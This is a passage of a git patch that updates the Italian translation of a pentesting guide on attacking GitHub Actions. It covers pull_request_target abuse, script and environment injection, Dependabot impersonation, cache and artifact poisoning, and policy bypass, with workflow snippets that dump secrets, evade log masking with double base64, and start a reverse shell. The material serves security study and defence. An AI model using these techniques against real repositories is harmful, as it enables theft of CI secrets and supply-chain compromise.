From 4e2c983fd2c9f332cd10942decda9f85cf83d47a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:23:07 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions --- .../abusing-github-actions/README.md | 204 ++++++++-------- .../az-federation-abuse.md | 227 ++++++++++++++++++ 2 files changed, 331 insertions(+), 100 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index a5643466b..70680e943 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,4 +1,4 @@ -# Abusare di Github Actions +# Abuso di Github Actions {{#include ../../../banners/hacktricks-training.md}} @@ -16,25 +16,25 @@ The following tools are useful to find Github Action workflows and even find vul In questa pagina troverai: -- Un **sommario di tutti gli impatti** di un attacker che riesce ad accedere a una Github Action +- Un **riepilogo di tutti gli impatti** di un attaccante che riesce ad accedere a una Github Action - Diversi modi per **ottenere accesso a una Github Action**: -- Avere **permessi** per creare l'action +- Avere i **permessi** per creare l'action - Abusare dei trigger relativi ai **pull request** - Abusare di **altre tecniche di accesso esterno** - **Pivoting** da un repo già compromesso -- Infine, una sezione sulle **tecniche di post-exploitation per abusare di una action dall'interno** (causare gli impatti menzionati) +- Infine, una sezione sulle **tecniche di post-exploitation per abusare un'Action dall'interno** (per causare gli impatti menzionati) ## Riepilogo degli impatti -Per un'introduzione su [**Github Actions, consulta le informazioni di base**](../basic-github-information.md#github-actions). +For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di: -- Rubare secrets montati nella pipeline e abusare dei privilegi della pipeline per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP. -- Compromettere deployments e altri artifacts. -- Se la pipeline deploya o immagazzina asset, potresti alterare il prodotto finale, abilitando un attacco alla supply chain. -- Eseguire codice in custom workers per abusare della potenza di calcolo e pivotare verso altri sistemi. -- Sovrascrivere il codice del repository, a seconda dei permessi associati con il `GITHUB_TOKEN`. +- Rubare secrets montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP. +- Compromettere deployment e altri artifact. +- Se la pipeline fa deploy o conserva asset, potresti alterare il prodotto finale, consentendo un supply chain attack. +- Eseguire codice su custom workers per abusare della potenza di calcolo e pivotare verso altri sistemi. +- Sovrascrivere il codice del repository, a seconda dei permessi associati al `GITHUB_TOKEN`. ## GITHUB_TOKEN @@ -42,17 +42,17 @@ This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.tok
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Questo token è lo stesso che una **Github Application** userà, quindi può accedere agli stessi endpoint: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github dovrebbe rilasciare un [**flow**](https://github.com/github/roadmap/issues/74) che **permetta l'accesso cross-repository** all'interno di GitHub, così un repo può accedere ad altri repo interni usando il `GITHUB_TOKEN`. -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Nota che il token **scade dopo il completamento del job**.\ +Questi token hanno questo aspetto: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +Alcune cose interessanti che puoi fare con questo token: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi token possono darti più privilegi sul repository e sull'organization. +> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi tokens possono darti più privilegi sul repository e sull'organizzazione.
-Elenca i secrets nell'output di Github Action +Elencare i secrets nell'output di Github Action ```yaml name: list_env on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-È possibile verificare i permessi concessi a un Github Token nei repository di altri utenti **controllando i log** delle actions: +È possibile verificare i permessi assegnati a un Github Token nei repository di altri utenti **controllando i log** delle actions:
## Esecuzione consentita > [!NOTE] -> Questo sarebbe il modo più semplice per compromettere Github actions, poiché in questo caso si presuppone che tu abbia accesso a **create a new repo in the organization**, o che tu abbia **write privileges over a repository**. +> Questo sarebbe il modo più semplice per compromettere le Github actions, poiché questo caso presuppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, oppure che tu abbia **privilegi di scrittura su un repository**. > -> Se ti trovi in questo scenario puoi semplicemente consultare i [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Se ti trovi in questo scenario puoi semplicemente consultare le [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Esecuzione tramite creazione del repo +### Esecuzione dalla creazione del repo -Nel caso in cui i membri di un organization possano **create new repos** e tu possa eseguire github actions, puoi **create a new repo and steal the secrets set at organization level**. +Nel caso in cui i membri di un'organizzazione possano **create new repos** e tu possa eseguire github actions, puoi **create a new repo and steal the secrets set at organization level**. ### Esecuzione da un nuovo branch -Se puoi **create a new branch in a repository that already contains a Github Action** configurato, puoi **modify** it, **upload** the content, e poi **execute that action from the new branch**. In questo modo puoi **exfiltrate repository and organization level secrets** (ma devi sapere come si chiamano). +Se puoi **create a new branch in a repository that already contains a Github Action** configurata, puoi **modify** essa, **upload** il contenuto e poi **execute that action from the new branch**. In questo modo puoi **exfiltrate repository and organization level secrets** (ma devi sapere come si chiamano). > [!WARNING] -> Qualsiasi restrizione implementata solo all'interno del workflow YAML (per esempio, `on: push: branches: [main]`, job conditionals, or manual gates) può essere modificata dai collaboratori. Senza enforcement esterno (branch protections, protected environments, and protected tags), un contributor può retargetare un workflow per farlo girare sul proprio branch e abusare dei mounted secrets/permissions. +> Qualsiasi restrizione implementata solo all'interno del workflow YAML (per esempio, `on: push: branches: [main]`, job conditionals, or manual gates) può essere modificata dai collaboratori. Senza un'applicazione esterna (branch protections, protected environments, and protected tags), un contributor può retargetare un workflow per farlo eseguire sul proprio branch e abusare dei secrets/permissions montati. -Puoi rendere l'action modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **viene pushato del codice** (a seconda di quanto vuoi essere rumoroso): +Puoi rendere l'action modificata eseguibile **manualmente**, quando viene **creata una PR** o quando viene **pushato del codice** (a seconda di quanto rumore vuoi fare): ```yaml on: workflow_dispatch: # Launch manually @@ -183,36 +183,36 @@ branches: ## Esecuzione da fork > [!NOTE] -> Esistono diversi trigger che potrebbero permettere a un attacker di **eseguire una Github Action di un altro repository**. Se queste azioni triggerabili sono configurate male, un attacker potrebbe riuscire a comprometterle. +> Esistono diversi trigger che possono permettere a un attaccante di **eseguire una Github Action di un altro repository**. Se queste action attivabili sono configurate male, un attaccante potrebbe comprometterle. ### `pull_request` -Il workflow trigger **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per default, se è la **prima volta** che stai **collaborando**, alcuni **maintainer** dovranno **approvare** l'**esecuzione** del workflow: +Il trigger workflow **`pull_request`** esegue il workflow ogni volta che viene ricevuta una pull request, con alcune eccezioni: per default, se è la **prima volta** che stai **collaborando**, un **maintainer** dovrà **approvare** l'**esecuzione** del workflow:
> [!NOTE] -> Poiché la **limitazione di default** riguarda i contributori alla **prima partecipazione**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei nuovi `pull_request` privilegi**. +> Poiché la **limitazione di default** si applica ai **contribuenti alla prima esperienza**, potresti contribuire correggendo un **bug/typo valido** e poi inviare **altre PR per abusare dei nuovi privilegi `pull_request`**. > -> **L'ho testato e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~ +> **Ho testato e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~ -Inoltre, per default **vengono impediti i permessi di scrittura** e **l'accesso ai secrets** del repository di destinazione come indicato nei [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Inoltre, per impostazione predefinita vengono impediti i write permissions e l'accesso ai secrets al repository di destinazione, come menzionato nella [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> Con l'eccezione di `GITHUB_TOKEN`, **i secrets non vengono passati al runner** quando un workflow è attivato da un repository **forked**. Il **`GITHUB_TOKEN` ha permessi read-only** nelle pull request **da repository forked**. -Un attacker potrebbe modificare la definizione della Github Action per eseguire azioni arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare secrets o sovrascrivere il repo a causa delle limitazioni menzionate. +Un attaccante potrebbe modificare la definizione della Github Action per eseguire operazioni arbitrarie e aggiungere action arbitrarie. Tuttavia, non potrà rubare i secrets né sovrascrivere il repo a causa delle limitazioni menzionate. > [!CAUTION] -> **Sì, se l'attacker modifica nella PR la github action che verrà attivata, la sua Github Action sarà quella usata e non quella del repo di origine!** +> **Sì, se l'attaccante cambia nella PR la github action che verrà attivata, sarà la sua Github Action a essere eseguita e non quella del repo originario!** -Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul `GITHUB_TOKEN`, un attacker potrebbe ad esempio **caricare artefatti malevoli**. +Poiché l'attaccante controlla anche il codice eseguito, anche se non ci sono secrets o write permissions su `GITHUB_TOKEN`, un attaccante potrebbe per esempio **caricare artifact malevoli**. ### **`pull_request_target`** -Il workflow trigger **`pull_request_target`** ha **permessi di scrittura** sul repository di destinazione e **accesso ai secrets** (e non richiede autorizzazione). +Il trigger workflow **`pull_request_target`** ha **write permission** sul repository di destinazione e **accesso ai secrets** (e non richiede approvazione). -Nota che il workflow trigger **`pull_request_target`** **gira nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per maggiori info su `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Inoltre, per maggiori dettagli su questo uso particolarmente pericoloso controlla questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Nota che il trigger workflow **`pull_request_target`** **viene eseguito nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non affidabile**). Per maggiori informazioni su `pull_request_target` [**controlla la docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Inoltre, per approfondire questo specifico uso pericoloso consulta questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). Potrebbe sembrare che, dato che il **workflow eseguito** è quello definito nella **base** e **non nella PR**, sia **sicuro** usare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**. @@ -222,7 +222,7 @@ E questo avrà **accesso ai secrets**. The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. -In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Run Tests" è completato: +In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: ```yaml on: workflow_run: @@ -232,27 +232,27 @@ types: ``` Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -Questo tipo di workflow può essere attaccato se dipende da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel workflow triggerato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`\ -Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo da renderlo **vulnerabile a RCE**. +Questo tipo di workflow potrebbe essere attaccato se **dipende** da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`\ +Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo che diventi **vulnerabile a RCE**. ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: Verificare se quando eseguito da un pull_request il codice usato/scaricato è quello dell'origin o quello del fork che ha creato la PR ## Abusing Forked Execution -Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe fare in modo che un GitHub workflow venga eseguito; ora vediamo come queste esecuzioni, se male configurate, possano essere abusate: +Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe far eseguire un workflow GitHub; ora vediamo come queste esecuzioni, se mal configurate, possano essere abusate: ### Untrusted checkout execution -Nel caso di **`pull_request`**, il workflow verrà eseguito nel **contesto della PR** (quindi eseguirà il **codice maligno della PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](#pull_request). +Nel caso di **`pull_request`**, il workflow verrà eseguito nel **contesto della PR** (quindi eseguirà il **codice maligno della PR**), ma qualcuno deve prima **autorizzarlo** e verrà eseguito con alcune [limitazioni](#pull_request). -Nel caso di un workflow che utilizza **`pull_request_target` or `workflow_run`** e che dipende da un workflow che può essere triggerato da **`pull_request_target` o `pull_request`**, verrà eseguito il codice del repo originale, quindi **l'attaccante non può controllare il codice eseguito**. +Nel caso di un workflow che usa **`pull_request_target` or `workflow_run`** che dipende da un workflow che può essere triggerato da **`pull_request_target` or `pull_request`**, verrà eseguito il codice del repo originale, quindi l'**attacker cannot control the executed code**. > [!CAUTION] -> Tuttavia, se l'**action** ha un **explicit PR checkout** che andrà a **prendere il codice dalla PR** (e non dal base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove il codice della PR viene scaricato): +> Tuttavia, se l'**action** ha un **explicit PR checkout** che **prende il codice dalla PR** (e non dalla base), utilizzerà il codice controllato dall'attaccante. Per esempio (controlla la riga 12 dove il codice della PR viene scaricato):
# INSECURE. Provided as an example only.
 on:
@@ -282,14 +282,14 @@ message: |
 Thank you!
 
-Il codice potenzialmente **untrusted viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i **packages** referenziati sono controllati dall'autore della PR. +Il potenzialmente **untrusted code viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i **packages** referenziati sono controllati dall'autore della PR. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> Un github dork per cercare actions vulnerabili è: `event.pull_request pull_request_target extension:yml` comunque, ci sono diversi modi per configurare i job in modo sicuro anche se l'action è configurata in modo insicuro (per esempio usando conditionals su chi è l'actor che genera la PR). ### Context Script Injections -Nota che esistono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se la github action sta usando quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **arbitrary code execution:** +Nota che ci sono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se l'action sta usando quei **dati per eseguire qualcosa**, potrebbe portare a **esecuzione di codice arbitrario:** {{#ref}} gh-actions-context-script-injections.md @@ -297,17 +297,17 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -Dalla documentazione: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +Dalla docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. -Se un attaccante potesse **iniettare qualsiasi valore** dentro questa variabile **env**, potrebbe iniettare variabili d'ambiente che possono eseguire codice nelle step successive come **LD_PRELOAD** o **NODE_OPTIONS**. +Se un attaccante potesse **iniettare qualsiasi valore** dentro questa variabile **env**, potrebbe inserire variabili d'ambiente che eseguono codice nei passi successivi come **LD_PRELOAD** o **NODE_OPTIONS**. -Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto dentro la variabile **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo: +Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto dentro la variabile env **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
### Dependabot and other trusted bots -Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), diverse organizzazioni hanno una GitHub Action che effettua il merge di qualsiasi PRR da `dependabot[bot]` come in: +Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), diverse organizzazioni hanno una Github Action che effettua il merge di qualsiasi PR da `dependabot[bot]` come in: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. Ci sono diversi modi per indurre l'utente `dependabot[bot]` a modificare una PR. Per esempio: +Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. Ci sono diversi modi per far sì che l'utente `dependabot[bot]` modifichi una PR. Per esempio: -- Fare il fork del repository della vittima -- Aggiungere il payload malevolo alla tua copia -- Abilitare Dependabot sul tuo fork aggiungendo una dipendenza obsoleta. Dependabot creerà un branch che risolve la dipendenza con codice malevolo. -- Aprire una Pull Request verso il repository della vittima da quel branch (la PR sarà creata dall'utente quindi ancora nulla accadrà) -- Poi, l'attaccante torna alla PR iniziale che Dependabot ha aperto nel suo fork e esegue `@dependabot recreate` -- Quindi, Dependabot esegue alcune azioni su quel branch, che modificano la PR nel repository della vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi, il workflow viene eseguito). +- Fare il fork del repository vittima +- Aggiungere il payload maligno alla tua copia +- Abilitare Dependabot sul tuo fork aggiungendo una dependency obsoleta. Dependabot creerà una branch che corregge la dependency con codice maligno. +- Aprire una Pull Request al repository vittima da quella branch (la PR sarà creata dall'utente quindi ancora non succederà nulla) +- Poi, l'attaccante torna alla PR iniziale che Dependabot ha aperto nel suo fork ed esegue `@dependabot recreate` +- Quindi, Dependabot esegue alcune azioni in quella branch, che modificano la PR sul repository vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi, il workflow viene eseguito). -Proseguendo, cosa succede se invece di eseguire il merge la Github Action contenesse una command injection come in: +Andando oltre, cosa succede se, invece di un merge, la Github Action avesse una command injection come in: ```yaml on: pull_request_target jobs: @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Well, il post del blog originale propone due opzioni per abusare di questo comportamento, essendo la seconda: +Well, il post originale propone due opzioni per abusare di questo comportamento; la seconda è: -- Fare il fork del repository della vittima e abilitare Dependabot con una dipendenza obsoleta. -- Creare un nuovo branch contenente il codice di shell injection maligno. -- Cambiare il default branch del repo su quello. -- Creare una PR da questo branch verso il repository della vittima. +- Fork del repository vittima e abilitare Dependabot con una dependency obsoleta. +- Create un nuovo branch con il codice malevolo di shell injection. +- Cambiare il default branch del repo in quello. +- Create una PR da questo branch verso il repository vittima. - Eseguire `@dependabot merge` nella PR che Dependabot ha aperto nel suo fork. -- Dependabot unirà le sue modifiche nel default branch del tuo repository forkato, aggiornando la PR nel repository della vittima e rendendo `dependabot[bot]` l'attore dell'ultimo evento che ha attivato il workflow, usando un nome di branch maligno. +- Dependabot unirà le sue modifiche nel default branch del tuo forked repository, aggiornando la PR nel repository vittima rendendo ora `dependabot[bot]` l'attore dell'ultimo evento che ha innescato il workflow e usando un nome di branch malevolo. ### Vulnerable Third Party Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifacts da workflow diversi e persino da repository differenti. +Come menzionato in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifact provenienti da workflow differenti e persino da repository diversi. -Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi usati o addirittura eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact. +Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi usati o addirittura eseguiti nel workflow. Quindi, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact. Example of vulnerable workflow: ```yaml @@ -393,27 +393,27 @@ path: ./script.py ``` --- -## Altri Accessi Esterni +## Altri External Access ### Deleted Namespace Repo Hijacking -Se un account cambia il suo nome, un altro utente potrebbe registrare un account con lo stesso nome dopo un certo periodo. Se una repository aveva **less than 100 stars previously to the change of nam**e, Github permetterà al nuovo utente registrato con lo stesso nome di creare una **repository with the same name** di quella cancellata. +Se un account cambia nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva **meno di 100 stelle prima della modifica del nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository con lo stesso nome** di quello cancellato. > [!CAUTION] > Quindi se un action sta usando un repo di un account inesistente, è comunque possibile che un attacker possa creare quell'account e compromettere l'action. -Se altre repository usavano **dependencies from this user repos**, un attacker sarà in grado di hijackarle. Qui trovi una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Se altri repository stavano usando **dipendenze dai repo di questo user**, un attacker sarà in grado di effettuare l'hijacking. Qui trovi una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> In questa sezione parleremo delle tecniche che permettono di **pivot from one repo to another** supponendo di avere qualche tipo di accesso al primo (vedi la sezione precedente). +> In questa sezione parleremo di tecniche che permetterebbero di **pivot from one repo to another** supponendo di avere qualche tipo di accesso sul primo (vedi la sezione precedente). ### Cache Poisoning -Una cache viene mantenuta tra **wokflow runs in the same branch**. Ciò significa che se un attacker riesce a **compromise** un **package** che viene poi memorizzato nella cache e **downloaded** ed eseguito da un workflow **more privileged**, potrà **compromise** anche quel workflow. +Una cache è mantenuta tra le **workflow runs nella stessa branch**. Questo significa che se un attacker compromette un **package** che viene poi memorizzato nella cache e scaricato ed eseguito da una **workflow** più privilegiata, sarà in grado di compromettere anche quella workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -I workflow possono usare **artifacts from other workflows and even repos**; se un attacker riesce a **compromise** la Github Action che **uploads an artifact** che viene poi utilizzata da un altro workflow, potrebbe **compromise the other workflows**: +I workflow possono usare **artifacts from other workflows and even repos**; se un attacker riesce a compromettere la Github Action che **uploads an artifact** che viene poi utilizzato da un altro workflow, potrebbe compromettere gli altri workflow: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,7 +433,7 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -Come commentato in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se una repository o organizzazione ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente clonare (`git clone`) un action dentro il workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, **the action will be executed without any restriction.** +Come commentato in [**questo post del blog**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se un repository o un'organizzazione ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente scaricare (`git clone`) un action dentro il workflow e poi referenziarlo come action locale. Poiché le policy non influenzano i percorsi locali, **l'action sarà eseguita senza alcuna restrizione.** Example: ```yaml @@ -456,7 +456,7 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### Accesso ad AWS e GCP via OIDC +### Accesso ad AWS, Azure e GCP tramite OIDC Consulta le seguenti pagine: @@ -464,19 +464,23 @@ Consulta le seguenti pagine: ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### Accesso ai secrets -Se stai iniettando contenuto in uno script, è utile sapere come puoi accedere ai secrets: +Se stai iniettando contenuto in uno script è utile sapere come puoi accedere ai secrets: -- Se il secret o token è impostato come **environment variable**, può essere direttamente accessibile dall'ambiente usando **`printenv`**. +- Se il secret o il token è impostato come **variabile d'ambiente**, può essere direttamente ottenuto dall'ambiente usando **`printenv`**.
-Elencare i secrets nell'output di Github Action +Elenca i secrets nell'output di Github Action ```yaml name: list_env on: @@ -503,7 +507,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Ottieni una reverse shell usando secrets +Ottieni reverse shell con secrets ```yaml name: revshell on: @@ -526,15 +530,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Se il secret è usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **on-disk** ed è accessibile. +- Se il secret viene usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **su disco** ed è accessibile. - ```bash cat /home/runner/work/_temp/* ``` -- Per una action JavaScript i secrets vengono inviati tramite variabili d'ambiente +- Per una JavaScript action i secrets vengono passati tramite variabili d'ambiente - ```bash ps axe | grep node ``` -- Per una **custom action**, il rischio può variare a seconda di come un programma usa il secret ottenuto dall'**argomento**: +- Per una **custom action**, il rischio può variare a seconda di come un programma usa il secret ottenuto dall'**argument**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Enumerare tutti i secrets tramite il secrets context (livello collaborator). Un contributor con accesso in scrittura può modificare un workflow su qualsiasi branch per estrarre tutti i secrets del repository/org/environment. Usa doppio base64 per evadere il log masking di GitHub e decodifica localmente: +- Enumerare tutti i secrets tramite il secrets context (livello collaborator). Un contributor con write access può modificare un workflow su qualsiasi branch per dumpare tutti i secrets del repository/org/environment. Usa doppio base64 per eludere il log masking di GitHub e decodifica localmente: ```yaml name: Steal secrets @@ -566,23 +570,23 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d Suggerimento: per maggiore stealth durante i test, cifra prima di stampare (openssl è preinstallato sui GitHub-hosted runners). -### Abuso dei Self-hosted runners +### Abuso dei self-hosted runners -Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-github** è cercare **`runs-on: self-hosted`** nella configurazione yaml di Github Action. +Per trovare quali **Github Actions are being executed in non-github infrastructure** cerca **`runs-on: self-hosted`** nella configurazione yaml di Github Action. -**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se sono isolati e distrutti, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe rubare i secrets dell'altra. +**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se è isolato e distrutto, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i secrets** dell'altra. -Nei self-hosted runners è anche possibile ottenere i **secrets from the 